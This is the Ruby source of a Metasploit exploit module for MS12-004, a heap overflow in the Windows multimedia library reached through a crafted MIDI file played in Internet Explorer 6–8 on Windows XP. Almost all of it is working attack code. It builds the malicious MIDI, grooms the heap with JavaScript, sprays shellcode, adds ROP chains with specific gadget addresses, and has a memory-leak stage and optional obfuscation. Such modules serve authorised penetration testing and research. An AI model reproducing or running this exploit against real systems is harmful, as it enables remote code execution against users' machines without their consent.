## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::RopDb def initialize(info={}) super(update_info(info, 'Name' => "MS12-004 midiOutPlayNextPolyEvent Heap Overflow", 'Description' => %q{ This module exploits a heap overflow vulnerability in the Windows Multimedia Library (winmm.dll). The vulnerability occurs when parsing specially crafted MIDI files. Remote code execution can be achieved by using the Windows Media Player ActiveX control. Exploitation is done by supplying a specially crafted MIDI file with specific events, causing the offset calculation being higher than what is available on the heap (0x400 allocated by WINMM!winmmAlloc), and then allowing us to either "inc al" or "dec al" a byte. This can be used to corrupt an array (CImplAry) we setup, and force the browser to confuse types from tagVARIANT objects, which leverages remote code execution under the context of the user. Note: At this time, for IE 8 target, msvcrt ROP is used by default. However, if you know your target's patch level, you may also try the 'MSHTML' advanced option for an info leak based attack. Currently, this module only supports two MSHTML builds: 8.0.6001.18702, which is often seen in a newly installed XP SP3. Or 8.0.6001.19120, which is patch level before the MS12-004 fix. Also, based on our testing, the vulnerability does not seem to trigger when the victim machine is operated via rdesktop. }, 'License' => MSF_LICENSE, 'Author' => [ 'Shane Garrett', #Initial discovery (IBM X-Force) 'juan vazquez', 'sinn3r' ], 'References' => [ [ 'MSB', 'MS12-004'], [ 'CVE', '2012-0003' ], [ 'OSVDB', '78210'], [ 'BID', '51292'], [ 'URL', 'http://www.vupen.com/blog/20120117.Advanced_Exploitation_of_Windows_MS12-004_CVE-2012-0003.php' ] ], 'Payload' => { 'Space' => 1024 }, 'DefaultOptions' => { 'EXITFUNC' => "process", 'InitialAutoRunScript' => 'migrate -f' }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic', {} ], [ 'IE 6 on Windows XP SP3', { 'Rop' => false, 'DispatchDst' => 0x0c0c0c0c } ], [ 'IE 7 on Windows XP SP3', { 'Rop' => false, 'DispatchDst' => 0x0c0c0c0c } ], [ 'IE 8 on Windows XP SP3', { # xchg ecx,esp # or byte ptr [eax],al # add byte ptr [edi+5Eh],bl # ret 8 # From IMAGEHLP 'Rop' => true, 'StackPivot' => 0x76C9B4C2, 'DispatchDst' => 0x0c0c1bd0 } ] ], 'Privileged' => false, 'DisclosureDate' => "Jan 10 2012", 'DefaultTarget' => 0)) register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) ], self.class) register_advanced_options( [ OptEnum.new('MSHTML', [ false, "MSHTML Build Version", '', [ '', #Default (no leaky leaky) '8.0.6001.18702', #newly installed Win XP SP3 non patched '8.0.6001.19120' #fully patched before KB2598479 - been the same at least since Sep 2011 ] ]) ], self.class) end def exploit @m_name, @midi = get_midi @ml_name, @midi_leak = get_midi("leak") @second_stage_url = rand_text_alpha(10) @leak_param = rand_text_alpha(5) # Offset to CFunctionPointer vftable in MSHTML case datastore['MSHTML'] when '8.0.6001.18702' @offset = 0xbf190 when '8.0.6001.19120' @offset = 0xd92c8 end super end def get_target(request) agent = request.headers['User-Agent'] print_status("Request as: #{agent}") if agent =~ /NT 5\.1/ and agent =~ /MSIE 6\.0/ #Windows XP SP3 + IE 6.0 return targets[1] elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7\.0/ #Windows XP SP3 + IE 7.0 return targets[2] elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8\.0/ #Windows XP SP3 + IE 8.0 return targets[3] else return nil end end # stage => "corruption" (default) | "leak" def get_midi(stage="corruption") # MIDI Fileformat Reference: # http://www.sonicspot.com/guide/midifiles.html # # Event Types: # 0x08 = Note Off (when MIDI key is released) # 0x09 = Note On (when MIDI key is pressed) # 0x0A = Note aftertouch (pressure change on the pressed MIDI key) # 0x0B = Controller Event (MIDI channels state) # 0x0C = Program change (Which instrument/patch should be played on the MIDI channel) # 0x0D = Channel aftertouch (similar to Note Aftertouch; effects all keys pressed on the specific MIDI channel) # 0x0E = Pitch Bend (similiar to a controller event; has 2 bytes to describe its value) # 0x0F = Meta Events (not sent or received over a midi port) # Structure: # [Header Chunk][Track Chunk][Meta Event][Meta Event][SYSEX Event][Midi Channel Event) # Track Chunk Data tc = "\x00\xFF\x03\x0D\x44\x72\x75\x6D" # Meta Event - Sequence/Track Name tc << "\x73\x20\x20\x20\x28\x42\x42\x29\x00" # Midi Channel Event - Program Change tc << "\x00\xC9\x28" # Midi Channel Event - Controller tc << "\x00\xB9\x07\x64" # Midi Channel Event - Controller tc << "\x00\xB9\x0A\x40" # Midi Channel Event - Controller tc << "\x00\xB9\x7B\x00" # Midi Channel Event - Controller tc << "\x00\xB9\x5B\x28" # Midi Channel Event - Controller tc << "\x00\xB9\x5D\x00" # Midi Channel Event - Note On tc << "\x85\x50\x99\x23\x7F" # Corruption events if stage == "corruption" # Midi Channel Event - Note On tc << "\x00\x9F\xb2\x73" else # Midi Channel Event - Note Off (trigger a leak) tc << "\x00\x8F\xb2\x73" end # Meta Event - End Of Track tc << "\x00\xFF\x2F\x00" m = '' # HEADERCHUNK Header m << "MThd" # Header m << "\x00\x00\x00\x06" # Chunk size m << "\x00\x00" # Format Type m << "\x00\x01" # Number of tracks m << "\x00\x60" # Time division # TRACKCHUNK header m << "MTrk" # Header m << [tc.length].pack('N') m << tc #midi_name = "test_case.mid" midi_name = rand_text_alpha(5) + ".mid" return midi_name, m end def on_request_uri(cli, request) # Initialize a target. If none suitable, then we don't continue. my_target = target if my_target.name =~ /Automatic/ my_target = get_target(request) agent = request.headers['User-Agent'] if my_target.nil? and agent !~ /Windows\-Media\-Player|NSPlayer/ send_not_found(cli) print_error("Unknown user-agent") return end vprint_status("Target selected: #{my_target.name}") if not my_target.nil? end # Send the corrupt midi file to trigger a memory leak, or a crash to that points # to an arbitrary address. if request.uri =~ /#{@ml_name}$/i print_status("Testing for info leak...") send_response(cli, @midi_leak, {'Content-Type'=>'application/octet-strem'}) return elsif request.uri =~ /#{@m_name}$/i print_status("Sending midi corruption file...") send_response(cli, @midi, {'Content-Type'=>'application/octet-strem'}) return end # Send the appropriate stage if datastore['MSHTML'].to_s != '' and my_target['Rop'] if request.uri =~ /#{@second_stage_url}/ leak = begin request.uri_parts["QueryString"][@leak_param].to_i rescue 0 end print_status("Leaked address: 0x#{leak.to_s(16)}") send_stage(cli, my_target, 'trigger', leak) return end send_stage(cli, my_target, 'leak') else send_stage(cli, my_target) end end def send_stage(cli, my_target, stage='trigger', leak=0) midi_uri = get_resource.chomp("/") if stage == 'leak' midi_uri << "/#{@ml_name}" trigger = build_trigger(my_target, "leak") else midi_uri << "/#{@m_name}" trigger = build_trigger(my_target) spray = build_spray(my_target, leak) end if datastore['OBFUSCATE'] spray = ::Rex::Exploitation::JSObfu.new(spray).obfuscate trigger = ::Rex::Exploitation::JSObfu.new(trigger) trigger.obfuscate trigger_fn = trigger.sym('trigger') else trigger_fn = 'trigger' end html = %Q|
| html = html.gsub(/^ {4}/, '') print_status("Sending html to #{cli.peerhost}:#{cli.peerport}...") send_response(cli, html, {'Content-Type'=>'text/html'}) end def build_spray(my_target, leak=0) # Extract string based on target if my_target.name == 'IE 8 on Windows XP SP3' js_extract_str = "var block = shellcode.substring(2, (0x40000-0x21)/2);" else js_extract_str = "var block = shellcode.substring(0, (0x80000-6)/2);" end # Build shellcode based on Rop requirement code = '' if my_target['Rop'] and datastore['MSHTML'].to_s != '' print_status("Generating ROP using info-leak: 0x#{leak.to_s(16)}") code << create_info_leak_rop(my_target, leak) code << payload.encoded elsif my_target['Rop'] and datastore['MSHTML'].to_s == '' print_status("Generating ROP using msvcrt") code << create_rop(my_target, payload.encoded) else code << payload.encoded end shellcode = Rex::Text.to_unescape(code) # 1. Create big block of nops # 2. Compose one block which is nops + shellcode # 3. Repeat the block # 4. Extract string from the big block # 5. Spray spray = <<-JS var heap_obj = new heapLib.ie(0x10000); var code = unescape("#{shellcode}"); var nops = unescape("%u0c0c%u0c0c"); while (nops.length < 0x1000) nops+= nops; var shellcode = nops.substring(0,0x800 - code.length) + code; while (shellcode.length < 0x40000) shellcode += shellcode; #{js_extract_str} heap_obj.gc(); for (var i=0; i < 600; i++) { heap_obj.alloc(block); } JS spray = heaplib(spray, {:noobfu => true}) return spray end # Build the JavaScript string for the attributes # type => "corruption" (default) | "leak" def build_element(element_name, my_target, type="corruption") dst = Rex::Text.to_unescape([my_target['DispatchDst']].pack("V")) element = '' if my_target.name =~ /IE 8/ max = 63 # Number of attributes for IE 8 index = 1 # Where we want to confuse the type else max = 55 # Number of attributes for before IE 8 index = 0 # Where we want to confuse the type end element << "var #{element_name} = document.createElement(\"select\")" + "\n" # Build attributes 0.upto(max) do |i| case type when "corruption" obj = (i==index) ? "unescape(\"#{dst}\")" : "alert" else #leak obj = "alert" end element << "#{element_name}.w#{i.to_s} = #{obj}" + "\n" end return element end # Feng Shui and triggering Steps: # 1. Run the garbage collector before allocations # 2. Defragment the heap and alloc CImplAry objects in one step (objects size are IE version dependent) # 3. Make holes # 4. Let windows media play the crafted midi file and corrupt the heap # 5. Force the using of the confused tagVARIANT. def build_trigger(my_target, type="corruption") js_trigger = build_trigger_fn(my_target, type) select_element = build_element('selob', my_target, type) trigger = <<-JS var heap = new heapLib.ie(); #{select_element} var clones = new Array(1000); function feng_shui() { heap.gc(); var i = 0; while (i < 1000) { clones[i] = selob.cloneNode(true) i = i + 1; } var j = 0; while (j < 1000) { delete clones[j]; CollectGarbage(); j = j + 2; } } feng_shui(); #{js_trigger} JS trigger = heaplib(trigger, {:noobfu => true}) return trigger end # type = "corruption" (default) | "leak" def build_trigger_fn(my_target, type="corruption") js_trigger="" case type when "corruption" js_trigger = js_trigger_fn_corruption(my_target) when "leak" js_trigger = js_trigger_fn_leak(my_target) end return js_trigger end # Redoing the feng shui if fails makes it reliable def js_trigger_fn_corruption(my_target) attribute = (my_target.name == 'IE 8 on Windows XP SP3') ? 'w1' : 'w0' js = %Q| function trigger(){ var k = 999; while (k > 0) { if (typeof(clones[k].#{attribute}) == "string") { } else { clones[k].#{attribute}('come on!'); } k = k - 2; } feng_shui(); document.audio.Play(); } | return js end # Redoing the feng shui if fails makes it reliable def js_trigger_fn_leak(my_target) js_trigger = "" if my_target.name == 'IE 8 on Windows XP SP3' js_trigger = <<-JSTRIGGER function trigger(){ var k = 999; while (k > 0) { if (typeof(clones[k].w1) == "string") { var leak = clones[k].w1.charCodeAt(1)*0x10000 + clones[k].w1.charCodeAt(0) document.location = "#{get_resource.chomp("/")}/#{@second_stage_url}" + "?#{@leak_param}=" + leak return; } k = k - 2; } feng_shui(); document.audio.Play(); } JSTRIGGER end return js_trigger end def create_rop(t, p) # MSVCRT.dll ROP padding = '' padding << [0x77C4CA70].pack("V*") #ADD ESP,0C; RET padding << [t['StackPivot']].pack("V*") padding << [0x77C4CA73].pack("V*") * 12 #ROP NOPs generate_rop_payload('msvcrt', p, {'pivot'=>padding, 'target'=>'xp'}) end def create_info_leak_rop(my_target, leak = 0x0) base = (leak == 0x00) ? 0x63580000 : (leak - @offset) print_status("Image base of mshtml: 0x%x" %base) # Generate the gadgets based on offset rop_gadgets = '' case @offset when 0xd92c8 rop_gadgets = [ :junk, :junk, 0x328468, # push ecx # pop esp # pop edi # pop esi # pop ebp # retn 14 :junk, 0x247e5d, # ROP NOPs 0x247e5d, 0x247e5d, 0x247e5d, 0x247e5d, 0x247e5d, 0x247e5d, 0x247e5c, # POP ESI # RETN [mshtml.dll] 0x137c, # ptr to &VirtualProtect() [IAT mshtml.dll] 0x3c8db7, # MOV EDX,DWORD PTR DS:[ESI] # ADD EAX,8BCE8B00 # RETN [mshtml.dll] 0x42e239, # PUSH EDX # XOR EAX,EAX # POP ESI # POP EBP # RETN 0x08 [mshtml.dll] :junk, 0x3460c, # POP EBP # RETN [mshtml.dll] :junk, :junk, 0x23ef79, # & jmp esp [mshtml.dll] 0x189303, # POP EBX # RETN [mshtml.dll] :ebx, # 0x00000201-> ebx 0x20437c, # POP EDX # RETN [mshtml.dll] :edx, # 0x00000040-> edx 0xc277, # POP ECX # RETN [mshtml.dll] 0x53a47d, # &Writable location [mshtml.dll] 0x4a33e2, # POP EDI # RETN [mshtml.dll] 0x4b601, # RETN (ROP NOP) [mshtml.dll] 0x33fbc6, # POP EAX # RETN [mshtml.dll] :nop, 0x52c718 # PUSHAD # RETN [mshtml.dll] ] when 0xbf190 rop_gadgets = [ :junk, 0x3338ae, # push ecx # pop esp # pop edi # pop esi # pop ebp # retn 14 :junk, 0xe9e7, # POP ECX # RETN [mshtml.dll] 0x6358e9e7 :junk, :junk, :junk, :junk, :junk, 0x1318, # ptr to &VirtualProtect() [IAT mshtml.dll] 0x48b440, # MOV EDX,DWORD PTR DS:[ECX] # RETN [mshtml.dll] 0x3dc745, # POP ESI # RETN [mshtml.dll] :neg, # 0xffffffff 0x2fb18b, # INC ESI # RETN [mshtml.dll] 0x35190d, # ADC ESI,EDX # DEC ECX # RETN 08 [mshtml.dll] 0x4aada7, # POP EBP # RETN [mshtml.dll] :junk, # Compensates RETN :junk, # Compensates RETN 0x1ffc54, # & jmp esp [mshtml.dll] 0x4498a7, # POP EBX # RETN [mshtml.dll] :ebx, # 0x00000800: 0x00000201-> ebx 0x24cce4, # POP EDX # RETN [mshtml.dll] :edx, # 0x00000040-> edx 0x158306, # POP ECX # RETN [mshtml.dll] 0x535098, # &Writable location [mshtml.dll] 0x1cf217, # POP EDI # RETN [mshtml.dll] 0xa0001, # RETN (ROP NOP) [mshtml.dll] 0x349f9b, # POP EAX # RETN [mshtml.dll] :nop, 0x2afbe8 # PUSHAD # RETN [mshtml.dll] ] end nops = make_nops(4).unpack("L")[0].to_i rop_gadgets.map! { |e| if e == :junk rand_text(4).unpack("L")[0].to_i elsif e == :neg 0xffffffff elsif e == :ebx 0x00000800 elsif e == :edx 0x00000040 elsif e == :nop nops else base + e end } chain = rop_gadgets.pack('V*') return chain end end